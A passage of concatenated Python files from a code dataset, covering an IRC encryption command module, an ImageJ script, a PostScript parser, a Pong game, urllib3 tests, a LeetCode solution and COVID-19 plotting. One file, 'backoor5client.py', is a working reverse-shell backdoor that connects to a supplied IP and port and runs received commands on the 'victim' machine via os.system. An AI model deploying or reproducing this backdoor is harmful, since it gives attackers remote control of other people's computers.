commands\"\"\"\n\nimport util\nimport introduction\nimport viola\nimport accounts\n\ndef start_room_cmd(parsed_args, buf):\n \"\"\"Become the channel of this room.\"\"\"\n channel = util.get_local_channel(buf)\n server = util.get_local_server(buf)\n\n # Become leader of channel\n viola.start_viola_room(channel, server, buf)\n\ndef introduction_cmd(parsed_args, buf):\n account = accounts.get_my_account()\n introduction.send_introduction(account, parsed_args, buf)\n\ndef join_room_cmd(parsed_args, buf):\n \"\"\"Prepare for sending ROOM_JOIN message.\"\"\"\n channel = util.get_local_channel(buf)\n server = util.get_local_server(buf)\n\n viola.send_room_join(channel, server, buf)\n\ndef list_friends_cmd():\n account = accounts.get_my_account()\n account.print_friend_list()\n\ndef trust_key_cmd(parsed_args, buf):\n nickname = parsed_args[1]\n hexed_key = parsed_args[2]\n\n # Check for illegal nickname chars\n if not nickname.isalnum():\n util.control_msg(\"Invalid nickname: %s\" % nickname)\n raise viola.ViolaCommandError\n\n if len(hexed_key) != 64 or not util.is_hex(hexed_key):\n util.control_msg(\"Invalid key value: %s\" % hexed_key)\n raise viola.ViolaCommandError\n\n account = accounts.get_my_account()\n account.trust_key(nickname, hexed_key)\n\n","sub_path":"viola/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"385741124","text":"from ij import IJ;\nfrom net.haesleinhuepf.imagej import ClearCLIJ;\nfrom net.haesleinhuepf.imagej.kernels import Kernels;\n\n# Init GPU\nclij = ClearCLIJ.getInstance();\n\n# get some example data\nimp = IJ.openImage(\"http://imagej.nih.gov/ij/images/t1-head.zip\");\n\n# create and fill memory in GPU\nimageInput = clij.converter(imp).getClearCLImage();\nimageOutput = clij.createCLImage([imageInput.getWidth(), imageInput.getHeight()], imageInput.getChannelDataType());\n\n# process the image\nKernels.maxProjection(clij, imageInput, imageOutput);\n\n# show the result\nclij.show(imageOutput, \"output\");\n\n# get the result back as variable\nresult = clij.converter(imageOutput).getImagePlus();\n","sub_path":"src/main/jython/maximumProjection.py","file_name":"maximumProjection.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"632995119","text":"#!/user/bin/python\n#-*- coding: utf-8 -*-\nimport subprocess\nimport os\nimport getpass\nimport time\nimport itertools\nfrom socket import *\nfrom sys import argv\n\ndef ls():\n\tlsstring = \"\"\n\tfor f in os.listdir(\".\"):\n\t\tlsstring += \"{}\\n\".format(f)\n\tsock.send(lsstring.encode())\t\ndef whoami():\n\tsock.send(getpass.getuser().encode())\n\ndef mkdir(mdir):\n\ttry:\n\t os.mkdir(mdir)\n\texcept: \n\t\tsock.send(\"No se ha podido crear el directorio.\".encode()) \n\telse:\n\t\tsock.send(\"El directorio se ha creado correctamente.\".encode())\ndef cd(cdir): \n\ttry:\n\t\tos.chdir(cdir)\n\texcept:\n\t\tsock.send(\"El sistema no puede encontrar la ruta.\".encode())\n\telse:\n\t\tsock.send(os.getcwd().encode())\n\ndef rm(path):\n\ttry:\n\t\tos.remove(path)\n\texcept:\n\t\tsock.send((\"[ERROR]: '{}' no encontrado\".format(path).encode()))\n\telse:\n\t\tsock.send(\"Se ha borrado correctamente.\")\n\n\ndef find(file):\n\tfindfile = os.listdir(\".\")\n\tfcount = 1\n\tfor f in findfile:\n\t\tif f == file:\n\t\t\tsock.send(f.encode())\n\t\t\tbreak\n\t\telse:\n\t\t\tfcount += 1\n\tif fcount > len(findfile):\n\t\tsock.send(\"find: '{}': no encontrado\".format(file).encode())\n\ndef pwd():\n\tsock.send(\"\\n{}\\n\".format(os.getcwd()).encode())\ndef rmdir(cmd):\n\ttry:\n\t\tos.rmdir(cmd[6:])\n\texcept:\n\t\tsock.send(\"No se ha podido borrar '{}'.\".format(cmd[6:]).encode())\n\telse:\n\t\tsock.send(\"Se ha eliminado con exito.\".encode())\ndef touch(cmd):\n\ttry:\n\t\ttouch_file = open(cmd[6:], \"w\")\n\t\ttouch_file.close()\n\texcept:\n\t\tsock.send(\"Han habido problemas al ejecutar el comando\".encode())\n\telse:\n\t\tsock.send(\"Se ha ejecutado el comando con exito\".encode())\n\n\t\t\ndef h():\n\tprint(\"Este programa fue creado con fines didacticos, el mal uso dado es responsabilidad del usuario.\")\n\tprint(\"-i: Aquí debes de poner la ip de a donde se va a conectar..\")\n\tprint(\"-p: Puerto por el que se va a conectar.\")\n\texit()\n\nif __name__ == '__main__':\n\tif len(argv) < 5 or len(argv) > 5:\n\t h()\n\telse:\n\t\targcount = 0\n\t\tip = str()\n\t\tport = 0\n\t\tfor arg in argv:\n\t\t\tif arg[0] != \"-\":\n\t\t\t\targcount += 1\n\t\t\t\tcontinue\n\t\t\telif arg == \"-h\":\n\t\t\t\th()\n\t\t\telif arg == \"-p\":\n\t\t\t\ttry:\n\t\t\t\t\tport = int(argv[argcount + 1])\n\t\t\t\texcept:\n\t\t\t\t\tprint(\"{} no es un numero valido.\".format(argv[argcount + 1]))\n\t\t\t\t\texit()\n\t\t\telif arg == \"-i\":\n\t\t\t\tip = str(argv[argcount + 1])\n\t\t\telse:\n\t\t\t\tprint(\"{} no se reconoce como una bandera valida.\".format(arg))\n\t\t\t\texit()\n\t\t\targcount += 1\n\t\ttry:\n\t\t\tsock = socket(AF_INET, SOCK_STREAM)\n\t\t\tsock.connect((ip, port))\n\t\texcept Exception as e:\n\t\t\tprint(\"No se ha podido conectar a {} por el puerto {}.\\n\".format(ip, port, e))\n\t\t\texit()\n\t\telse:\n\t\t\tsh = False\n\t\t\twhile True:\n\t\t\t\tcmd = sock.recv(1024).decode()\n\t\t\t\tif cmd == \"sh\":\n\t\t\t\t\tsh = True\n\t\t\t\t\tsock.send(\"Ahora puedes ejecutar cualquier comando, pero la victima puede verlo.\".encode())\n\t\t\t\t\tcontinue\n\t\t\t\telif cmd == \"exit-sh\":\n\t\t\t\t\tsh = False\n\t\t\t\t\tsock.send(\"Ahora los comandos son invisibles para la victima, pero están limitados.\".encode())\n\t\t\t\t\tcontinue\n\t\t\t\tif sh == False:\n\t\t\t\t\tif cmd[:3] == \"dir\":\n\t\t\t\t\t\tls()\n\t\t\t\t\telif cmd [:2] == \"ls\":\n\t\t\t\t\t\tls()\n\t\t\t\t\telif cmd[:5] == \"mkdir\":\n\t\t\t\t\t\tmkdir(cmd[6:])\n\t\t\t\t\telif cmd[:2] == \"cd\":\n\t\t\t\t\t\tcd(cmd[3:])\n\t\t\t\t\telif cmd[:2] == \"rm\" and cmd[2] == \" \":\n\t\t\t\t\t\trm(cmd[3:])\n\t\t\t\t\telif cmd[:5] == \"touch\":\n\t\t\t\t\t\ttouch(cmd)\n\t\t\t\t\telif cmd[:3] == \"pwd\":\n\t\t\t\t\t\tpwd()\n\t\t\t\t\telif cmd[:4] == \"find\":\n\t\t\t\t\t\tfind(cmd[5:])\n\t\t\t\t\telif cmd[:5] == \"rmdir\":\n\t\t\t\t\t\trmdir(cmd)\n\t\t\t\t\telif cmd[:7] == \"whoami\":\n\t\t\t\t\t\twhoami()\n\t\t\t\t\telse:\n\t\t\t\t\t\tsock.send(\"comando '{}' no reconocido\".format(cmd).encode())\n\t\t\t\telse:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tos.system(cmd)\n\t\t\t\t\texcept:\n\t\t\t\t\t\tsock.send(\"No se ha podido ejecutar el comando\".encode())\n\t\t\t\t\telse:\n\t\t\t\t\t\tsock.send(\"Se ha ejecutado el comando\".encode())\n","sub_path":"backdoors_de_prueba/backoor5client.py","file_name":"backoor5client.py","file_ext":"py","file_size_in_byte":3630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"33324342","text":"def atoi(string):\n MAX_INT = 2147483647\n MIN_INT = -2147483648\n\n # Strip white space and -/+\n string_integer = \"\"\n isNegative = False\n signExists = False # Case \"-+12\" returns 0\n integers = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"]\n for char in string:\n if char == \" \" and not string_integer and not signExists:\n continue\n elif char == \"-\":\n if signExists:\n return 0\n else:\n isNegative = True\n signExists = True\n elif char == \"+\":\n if signExists:\n return 0\n else:\n isNegative = False\n signExists = True\n elif char in integers:\n string_integer += char\n else:\n break\n\n # Convert string to integer\n nth_place = 1\n length = len(string_integer) - 1\n integer = 0\n while length >= 0:\n integer += int(string_integer[length]) * nth_place \n nth_place *= 10\n length -= 1\n\n if isNegative:\n if -integer <= ~(1 << 31):\n return MIN_INT\n else:\n return -integer\n else:\n if integer >= (1 << 31):\n return MAX_INT\n else:\n return integer\n\nprint(atoi(\"300\"))\nprint(atoi(\" 13\"))\nprint(atoi(\"3 \"))\nprint(atoi(\" \"))\nprint(atoi(\"-15\"))\nprint(atoi(\"2147483648\"))\nprint(atoi(\"-2147483649\"))\nprint(atoi(\" -0012a42\"))\nprint(atoi(\"-+2\"))\nprint(atoi(\" +0 123\"))\nprint(atoi(\" - 321\"))\n\n","sub_path":"atoi.py","file_name":"atoi.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"586097341","text":"#!/usr/bin/env python3\n\nfrom parsers import FType\n\nclass parser(FType):\n\tDESC = \"PS / PostScript\"\n\tTYPE = \"PS\"\n\tMAGIC = b\"%!PS\" # the magic actually shouldn't be at offset 0 but it's usually present.\n\n\n\tdef __init__(self, data=\"\"):\n\t\tFType.__init__(self, data)\n\t\tself.data = data\n\n\t\tself.bParasite = True\n\n\t\tself.FunctionPar = True # Function parasite or inline parasite\n\n\t\tif self.FunctionPar:\n\t\t\tself.PREWRAP = b\"/{(\" # nameless function declaration\n\t\t\tself.POSTWRAP = b\")}\"\n\t\t\tself.validate = bBalancedPar\n\t\telse:\n\t\t\tself.PREWRAP = b\"%\" # nameless function declaration\n\t\t\tself.POSTWRAP = b\"\\r\\n\"\n\t\t\tself.validate = bNoNL\n\n\t\t# Magic can be actually further but only valid characters\n\t\t# and postscript logic must be present.\n\t\tself.start_o = 0\n\n\t\tself.cut = 0\n\t\tself.prewrap = len(self.PREWRAP)\n\t\tself.postwrap = len(self.POSTWRAP)\n\n\t\tself.parasite_o = self.prewrap # right after the function declaration\n\t\tself.parasite_s = 0xFFFFFF # quite unclear\n\n\n\tdef wrap(self, data, bEnd=False):\n\t\tif bEnd:\n\t\t\treturn b\"stop\\r\\n\" + data\n\n\t\tif self.validate(data) == False:\n\t\t\treturn None\n\t\twrapped = b\"\".join([\n\t\t\tself.PREWRAP, \n\t\t\tdata,\n\t\t\tself.POSTWRAP,\n\t\t])\n\t\treturn wrapped\n\n\n# for function parasites\ndef bBalancedPar(p):\n\t\"\"\"check if parenthesis are balanced no matter the content\"\"\"\n\tl = 0\n\tfor c in p:\n\t\tif c == ord(b\"(\"):\n\t\t\tl += 1\n\t\telif c == ord(b\")\"):\n\t\t\tl -= 1\n\t\t\tif l < 0:\n\t\t\t\treturn False\n\n\tif l != 0:\n\t\treturn False\n\treturn True\n\nassert bBalancedPar(b\"\") == True\nassert bBalancedPar(b\"(\") == False\nassert bBalancedPar(b\")\") == False\nassert bBalancedPar(b\"()\") == True\nassert bBalancedPar(b\"())\") == False\nassert bBalancedPar(b\"())\") == False\nassert bBalancedPar(b\"dcjdkwj(wljcwk)cwkejcwek\") == True\nassert bBalancedPar(b\"dcjdkwj(wljcwk)cwkejcwe)\") == False\nassert bBalancedPar(b\"(dcjdkwj(wljcwk)wkejcwek\") == False\nassert bBalancedPar(b\"(dcjdkwj(wljcwk)wkejcwe)\") == True\n\n\n# for inline comments parasites\ndef bNoNL(p):\n\t\"\"\"check if contains any RC, NL or FF chars\"\"\"\n\tfor c in p:\n\t\tif c in [0xA, 0xC, 0xD]:\n\t\t\treturn False\n\treturn True\n\nassert bNoNL(b\"\") == True\nassert bNoNL(b\"\\x0a\") == False\nassert bNoNL(b\"\\x0c\") == False\nassert bNoNL(b\"\\x0d\") == False\nassert bNoNL(b\" \\x0d \") == False\nassert bNoNL(\n\tbytes([i for i in range(0,0xA)]) +\n\tbytes([i for i in range(0xE,256)])\n\t) == True\n","sub_path":"parsers/postscript.py","file_name":"postscript.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"317103819","text":"import turtle\r\n# PinPong_BaseCanvas\r\n\r\n#Canvas\r\nwin = turtle.Screen()\r\nwin.bgcolor(\"black\")\r\nwin.title(\"PinPong\")\r\nwin.setup(1200, 600)\r\nwin.tracer(0)\r\n\r\n#Shapes\r\n# Left Player\r\nracket_left = turtle.Turtle()\r\nracket_left.shape(\"square\")\r\nracket_left.color(\"white\")\r\nracket_left.speed(0)\r\nracket_left.shapesize(stretch_len=0.8, stretch_wid= 5)\r\nracket_left.penup()\r\nracket_left.goto(-550, 0)\r\n\r\n\r\n# Right Player\r\n\r\nracket_right = turtle.Turtle()\r\nracket_right.shape(\"square\")\r\nracket_right.color(\"white\")\r\nracket_right.speed(0)\r\nracket_right.shapesize(stretch_len=0.8, stretch_wid= 5)\r\nracket_right.penup()\r\nracket_right.goto(550, 0)\r\n\r\n\r\n#Ball\r\nball = turtle.Turtle()\r\nball.shape(\"circle\")\r\nball.goto(0,0)\r\nball.penup()\r\nball.shapesize(1, 1)\r\nball.color(\"white\")\r\nball.dx = 0.3\r\nball.dy = 0.3\r\n\r\n#Text\r\nscore = turtle.Turtle()\r\nscore.goto(0, 260)\r\nscore.speed(0)\r\nscore.penup()\r\nscore.color(\"white\")\r\nscore. hideturtle()\r\npR = 0\r\nPl = 0\r\n\r\n\r\n\r\ndef Restart_BTN():\r\n ball.goto(0, 0)\r\n racket_left.goto(-550, 0)\r\n racket_right.goto(550, 0)\r\n pause_block = turtle.Turtle\r\n pause_block.penup()\r\n pause_block.color(\"white\")\r\n pause_block.shape(\"square\")\r\n pause_block.shapesize(stretch_len=5, stretch_wid= 5)\r\n\r\n\r\n\r\nscore.write(\"Player 1 : {} || || Player 2 : {} \".format(Pl, pR), align='center', font=('System', 22, \"bold\"))\r\n\r\n#racket_move\r\ndef racket_move_up():\r\n y = racket_left.ycor()\r\n y += 30\r\n racket_left.sety(y)\r\ndef racket_move_down():\r\n y = racket_left.ycor()\r\n y -= 30\r\n racket_left.sety(y)\r\n\r\ndef racket_move_up1():\r\n y = racket_right.ycor()\r\n y += 30\r\n racket_right.sety(y)\r\ndef racket_move_down1():\r\n y = racket_right.ycor()\r\n y -= 30\r\n racket_right.sety(y)\r\n\r\nwin.listen()\r\nwin.onkeypress(racket_move_up, \"w\")\r\nwin.onkeypress(racket_move_down, \"s\")\r\n\r\nwin.onkeypress(racket_move_up1, \"Up\")\r\nwin.onkeypress(racket_move_down1, \"Down\")\r\n\r\nwin.onkeypress(Restart_BTN, \"space\")\r\n\r\nwhile True:\r\n ball.setx(ball.xcor() + ball.dx)\r\n ball.sety(ball.ycor() + ball.dy)\r\n\r\n if ball.ycor() > 290:\r\n ball.sety(290)\r\n ball.dy *= -1\r\n\r\n if ball.ycor() < -290:\r\n ball.sety(-290)\r\n ball.dy *= -1\r\n\r\n if ball.xcor() > 590:\r\n ball.goto(0, 0)\r\n ball.dx *= -1\r\n Pl += 1\r\n score.clear()\r\n score.write(\"Player 1 : {} || || Player 2 : {} \".format(Pl, pR), align='center',font=('System', 22, \"bold\"))\r\n\r\n if ball.xcor() < -590:\r\n ball.goto(0, 0)\r\n ball.dx *= -1\r\n pR += 1\r\n score.clear()\r\n score.write(\"Player 1 : {} || || Player 2 : {} \".format(Pl, pR), align='center', font=('System', 22, \"bold\"))\r\n\r\n if ball.xcor() > 540 and ball.ycor() < racket_right .ycor() + 50 and ball.ycor() > racket_right.ycor() - 50:\r\n ball.dx *= -1\r\n\r\n if ball.xcor() < -540 and ball.ycor() < racket_left .ycor() + 50 and ball.ycor() > racket_left.ycor() - 50:\r\n ball.dx *= -1\r\n\r\n if racket_left.ycor() > 290:\r\n racket_left.goto(-550, 280)\r\n\r\n if racket_left.ycor() < -290:\r\n racket_left.goto(-550, -280)\r\n\r\n if racket_right.ycor() > 290:\r\n racket_right.goto(550, 280)\r\n\r\n if racket_right.ycor() < -290:\r\n racket_right.goto(550, -280)\r\n win.update()","sub_path":"pong.py","file_name":"pong.py","file_ext":"py","file_size_in_byte":3325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"430093798","text":"import unittest\n\nfrom urllib3._collections import (\n HTTPHeaderDict,\n RecentlyUsedContainer as Container\n)\nfrom urllib3.packages import six\nxrange = six.moves.xrange\n\n\nclass TestLRUContainer(unittest.TestCase):\n def test_maxsize(self):\n d = Container(5)\n\n for i in xrange(5):\n d[i] = str(i)\n\n self.assertEqual(len(d), 5)\n\n for i in xrange(5):\n self.assertEqual(d[i], str(i))\n\n d[i+1] = str(i+1)\n\n self.assertEqual(len(d), 5)\n self.assertFalse(0 in d)\n self.assertTrue(i+1 in d)\n\n def test_expire(self):\n d = Container(5)\n\n for i in xrange(5):\n d[i] = str(i)\n\n for i in xrange(5):\n d.get(0)\n\n # Add one more entry\n d[5] = '5'\n\n # Check state\n self.assertEqual(list(d.keys()), [2, 3, 4, 0, 5])\n\n def test_same_key(self):\n d = Container(5)\n\n for i in xrange(10):\n d['foo'] = i\n\n self.assertEqual(list(d.keys()), ['foo'])\n self.assertEqual(len(d), 1)\n\n def test_access_ordering(self):\n d = Container(5)\n\n for i in xrange(10):\n d[i] = True\n\n # Keys should be ordered by access time\n self.assertEqual(list(d.keys()), [5, 6, 7, 8, 9])\n\n new_order = [7,8,6,9,5]\n for k in new_order:\n d[k]\n\n self.assertEqual(list(d.keys()), new_order)\n\n def test_delete(self):\n d = Container(5)\n\n for i in xrange(5):\n d[i] = True\n\n del d[0]\n self.assertFalse(0 in d)\n\n d.pop(1)\n self.assertFalse(1 in d)\n\n d.pop(1, None)\n\n def test_get(self):\n d = Container(5)\n\n for i in xrange(5):\n d[i] = True\n\n r = d.get(4)\n self.assertEqual(r, True)\n\n r = d.get(5)\n self.assertEqual(r, None)\n\n r = d.get(5, 42)\n self.assertEqual(r, 42)\n\n self.assertRaises(KeyError, lambda: d[5])\n\n def test_disposal(self):\n evicted_items = []\n\n def dispose_func(arg):\n # Save the evicted datum for inspection\n evicted_items.append(arg)\n\n d = Container(5, dispose_func=dispose_func)\n for i in xrange(5):\n d[i] = i\n self.assertEqual(list(d.keys()), list(xrange(5)))\n self.assertEqual(evicted_items, []) # Nothing disposed\n\n d[5] = 5\n self.assertEqual(list(d.keys()), list(xrange(1, 6)))\n self.assertEqual(evicted_items, [0])\n\n del d[1]\n self.assertEqual(evicted_items, [0, 1])\n\n d.clear()\n self.assertEqual(evicted_items, [0, 1, 2, 3, 4, 5])\n\n def test_iter(self):\n d = Container()\n\n self.assertRaises(NotImplementedError, d.__iter__)\n\n\nclass TestHTTPHeaderDict(unittest.TestCase):\n def setUp(self):\n self.d = HTTPHeaderDict(A='foo')\n self.d.add('a', 'bar')\n\n def test_overwriting_with_setitem_replaces(self):\n d = HTTPHeaderDict()\n\n d['A'] = 'foo'\n self.assertEqual(d['a'], 'foo')\n\n d['a'] = 'bar'\n self.assertEqual(d['A'], 'bar')\n\n def test_copy(self):\n h = self.d.copy()\n self.assertTrue(self.d is not h)\n self.assertEqual(self.d, h)\n\n def test_add(self):\n d = HTTPHeaderDict()\n\n d['A'] = 'foo'\n d.add('a', 'bar')\n\n self.assertEqual(d['a'], 'foo, bar')\n self.assertEqual(d['A'], 'foo, bar')\n\n def test_getlist(self):\n self.assertEqual(self.d.getlist('a'), ['foo', 'bar'])\n self.assertEqual(self.d.getlist('A'), ['foo', 'bar'])\n self.assertEqual(self.d.getlist('b'), [])\n\n def test_delitem(self):\n del self.d['a']\n self.assertFalse('a' in self.d)\n self.assertFalse('A' in self.d)\n\n def test_equal(self):\n b = HTTPHeaderDict({'a': 'foo, bar'})\n self.assertEqual(self.d, b)\n c = [('a', 'foo, bar')]\n self.assertNotEqual(self.d, c)\n\n def test_len(self):\n self.assertEqual(len(self.d), 1)\n\n def test_repr(self):\n rep = \"HTTPHeaderDict({'A': 'foo, bar'})\"\n self.assertEqual(repr(self.d), rep)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/test_collections.py","file_name":"test_collections.py","file_ext":"py","file_size_in_byte":4167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"472128735","text":"import unittest\nimport zeit.cms.testing\nimport zeit.workflow.testing\n\n\ndef test_suite():\n suite = unittest.TestSuite()\n suite.addTest(zeit.cms.testing.FunctionalDocFileSuite(\n 'README.txt',\n 'indicator.txt',\n package='zeit.workflow.browser',\n layer=zeit.workflow.testing.CELERY_LAYER))\n return suite\n","sub_path":"src/zeit/workflow/browser/tests/test_doctest.py","file_name":"test_doctest.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"525597694","text":"'''\nhttps://leetcode-cn.com/problems/longest-continuous-increasing-subsequence/\n\n674. 最长连续递增序列\n给定一个未经排序的整数数组,找到最长且 连续递增的子序列,并返回该序列的长度。\n\n连续递增的子序列 可以由两个下标 l 和 r(l < r)确定,如果对于每个 l <= i < r,都有 nums[i] < nums[i + 1] ,那么子序列 [nums[l], nums[l + 1], ..., nums[r - 1], nums[r]] 就是连续递增子序列。\n\n\n\n示例 1:\n\n输入:nums = [1,3,5,4,7]\n输出:3\n解释:最长连续递增序列是 [1,3,5], 长度为3。\n尽管 [1,3,5,7] 也是升序的子序列, 但它不是连续的,因为 5 和 7 在原数组里被 4 隔开。\n示例 2:\n\n输入:nums = [2,2,2,2,2]\n输出:1\n解释:最长连续递增序列是 [2], 长度为1。\n\n\n提示:\n\n0 <= nums.length <= 104\n-109 <= nums[i] <= 109\n\n'''\n\nclass Solution:\n def findLengthOfLCIS(self, nums):\n if len(nums) <= 1:\n return len(nums)\n ##\n length = 1\n maxLength = 1\n for i in range(1, len(nums)):\n if nums[i - 1] < nums[i]:\n length += 1\n else:\n length = 1\n maxLength = max(maxLength, length)\n return maxLength\n\nprint(Solution().findLengthOfLCIS([1,3,5,4,7]))\n\n","sub_path":"NowcoderProblems/leetcode674.py","file_name":"leetcode674.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"266694084","text":"'''\nUsing Matplotlib module of Python, draw different graphs, using data read (corona_virus.csv)\nNote that, here we do the followings to fine tune the dataframe:\n1. Read the raw data file corona_virus.csv from file system and create a dataframe\n2. Drop the last row so that 'Total' is not considered in any calculations using: cv = cv.iloc[:-1]\n3. Drop the 'Diamond Princess' row as a country using cv = cv[cv.Country != 'Diamond Princess']\n4. Draw the bar plot\n5. Draw the pie plot\n'''\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport datetime\n\n#Number of top countries to be reported\ntopCountryNum:int = 20\n\n#Graph size matters\ndesired_width=360\npd.set_option('display.width', desired_width)\npd.set_option('display.max_columns',120)\n\n#Format the date time to present on the graph\ndt = datetime.datetime.now()\ntoday = dt.strftime(\"%A, %d %B %Y, %H:%M:%S\")\ntodayDate = dt.strftime(\"%A, %d %B %Y\")\n\n#Local method to plot the bar graph\ndef plotGraph(dfname, rowname, colname, fignum, graphcolor, titlestr):\n x1 = dfname[rowname]\n y1 = dfname[colname]\n plt.figure(fignum, figsize=(16, 6))\n plt.title(titlestr + r\"$\\bf{\" + colname + \"}$\" + ' - [Total countries effected as of today = {}]'.format(cv.shape[0]))\n plt.suptitle(today)\n plt.xlabel(\"Countries\")\n plt.ylabel(colname)\n plt.xticks(rotation=18)\n barplot = plt.bar(x1, y1, color=graphcolor)\n plt.grid(True)\n for bar in barplot:\n yval = bar.get_height()\n plt.text(bar.get_x() + bar.get_width() / 2.0, yval, int(yval), va='bottom') # va: vertical alignment y positional argument\n plt.show()\n return()\n\n#----WORLD DATA----#\n#Read the coronoa_virus.csv from the file system and transform into a DataFrame using read_csv() method\ncv = pd.read_csv(\"~/Desktop/Learning/Sandbox/PythonSandbox/Data/corona_virus.csv\")\ncv = cv.iloc[:-1] #<-- Here we drop the last row of the dataframe (last row holds the total of all rows)\ncv = cv[cv.Country != 'Diamond Princess'] #<-Here we drop a row where the 'Country' column contains a value 'Diamond Princess'\ncv = cv.fillna(0) #<-- Fill all NaN values with 0\ncv[\"Gross Total cases\"] = cv[\"Total cases\"] + cv[\"New cases\"] #<-Summing up 'Total cases' + 'New cases'\ncv[\"Gross Total deaths\"] = cv[\"Total deaths\"] + cv[\"New deaths\"] #<-Summing up 'Total deaths' + 'New deaths'\n\n#Plot the pie chart for World Data ('Gross Total cases', 'Total recovered', 'Gross Total deaths', 'Active cases')\ns = cv.sum(axis=0) #<--Add all columns and create a series\ngrossTotalCase = int(s['Gross Total cases'])\ntotalRecovered = s['Total recovered']\ntotalActiveCases = s['Active cases']\ngrossTotalDeaths = int(s['Gross Total deaths'])\n\n# Pie chart plotting\nlabels = 'Total Recovered', 'Active Cases', 'Gross Total Deaths'\nsizes = [totalRecovered, totalActiveCases, grossTotalDeaths]\ncolours = ['green', 'yellow', 'gray']\nexplode = (0.04, 0.04, 0.1) # only \"explode\" the 3rd slice (i.e. 'Gross Total Deaths')\n\nfig1, ax1 = plt.subplots()\nax1.pie(sizes, explode=explode, labels=labels, colors=colours, autopct='%1.f%%',\n shadow=True, startangle=60)\nax1.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.\nax1.set(aspect=\"equal\", title='Total Global Cases as of {} = {}'.format(todayDate, grossTotalCase))\nplt.show()\n\n#Sorting the data based on a single column in a file and output using sort_values() method (descending order - ascending=False)\ncv_TotalCases = cv.sort_values('Gross Total cases', ascending=False)\ncv_TotalRecovered = cv.sort_values('Total recovered', ascending=False)\ncv_TotalCasesPerMillion = cv.sort_values('Total cases per 1M pop.', ascending=False)\ncv_TotalDeaths = cv.sort_values('Gross Total deaths', ascending=False)\ncv_NewCases = cv.sort_values('New cases', ascending=False)\ncv_NewDeaths = cv.sort_values('New deaths', ascending=False)\n\n#Graph of top 'Gross Total cases'\nx = cv_TotalCases.head(topCountryNum)\nrowcategory = \"Country\"\ncolumncategory = \"Gross Total cases\"\nfigureNum = 1\ngraphColor = \"Red\"\ntitlestring = \"Top {} countries based on: \".format(topCountryNum)\nplotGraph(x, rowcategory, columncategory, figureNum, graphColor, titlestring)\n\n#Graph of top 'Total recovered'\nx = cv_TotalRecovered.head(topCountryNum)\nrowcategory = \"Country\"\ncolumncategory = \"Total recovered\"\nfigureNum = 2\ngraphColor = \"limegreen\"\ntitlestring = \"Top {} countries based on: \".format(topCountryNum)\nplotGraph(x, rowcategory, columncategory, figureNum, graphColor, titlestring)\n\n#Graph of top 'Total cases per 1M pop.'\nx = cv_TotalCasesPerMillion.head(topCountryNum)\nrowcategory = \"Country\"\ncolumncategory = \"Total cases per 1M pop.\"\nfigureNum = 3\ngraphColor = \"cornflowerblue\"\ntitlestring = \"Top {} countries based on: \".format(topCountryNum)\nplotGraph(x, rowcategory, columncategory, figureNum, graphColor, titlestring)\n\n#Graph of top 'Gross Total deaths'\nx = cv_TotalDeaths.head(topCountryNum)\nrowcategory = \"Country\"\ncolumncategory = \"Gross Total deaths\"\nfigureNum = 4\ngraphColor = \"dimgray\"\ntitlestring = \"Top {} countries based on: \".format(topCountryNum)\nplotGraph(x, rowcategory, columncategory, figureNum, graphColor, titlestring)\n\n\n#----SAARC DATA----#\ncv1 = pd.read_csv(\"~/Desktop/Learning/Sandbox/PythonSandbox/Data/corona_virus.csv\")\ncv1 = cv1.fillna(0)\ncv1 = cv1.loc[(cv1[\"Country\"] == 'Bangladesh')|\n (cv1[\"Country\"] == 'Bhutan')|\n (cv1[\"Country\"] == 'India')|\n (cv1[\"Country\"] == 'Maldives')|\n (cv1[\"Country\"] == 'Nepal')|\n (cv1[\"Country\"] == 'Pakistan')|\n (cv1[\"Country\"] == 'Sri Lanka')]\n\ncv1[\"Gross Total cases\"] = cv1[\"Total cases\"] + cv1[\"New cases\"] #<-Summing up 'Total cases' + 'New cases'\ncv1[\"Gross Total deaths\"] = cv1[\"Total deaths\"] + cv1[\"New deaths\"] #<-Summing up 'Total deaths' + 'New deaths'\n\n#Plot the pie chart for SAARC countries ('Total cases')\n#Extract country specific sub-df\ncv1_Bangladesh = cv1.loc[(cv1[\"Country\"] == 'Bangladesh')]\ncv1_Bhutan = cv1.loc[(cv1[\"Country\"] == 'Bhutan')]\ncv1_India = cv1.loc[(cv1[\"Country\"] == 'India')]\ncv1_Maldives = cv1.loc[(cv1[\"Country\"] == 'Maldives')]\ncv1_Nepal = cv1.loc[(cv1[\"Country\"] == 'Nepal')]\ncv1_Pakistan = cv1.loc[(cv1[\"Country\"] == 'Pakistan')]\ncv1_SriLanka = cv1.loc[(cv1[\"Country\"] == 'Sri Lanka')]\n\n#Now extract country specific 'Total cases'\ntc_Bangladesh = int(cv1_Bangladesh['Gross Total cases'])\ntc_Bhutan = int(cv1_Bhutan['Gross Total cases'])\ntc_India = int(cv1_India['Gross Total cases'])\ntc_Maldives = int(cv1_Maldives['Gross Total cases'])\ntc_Nepal = int(cv1_Nepal['Gross Total cases'])\ntc_Pakistan = int(cv1_Pakistan['Gross Total cases'])\ntc_SriLanka = int(cv1_SriLanka['Gross Total cases'])\n\n# totalSAARCCases = 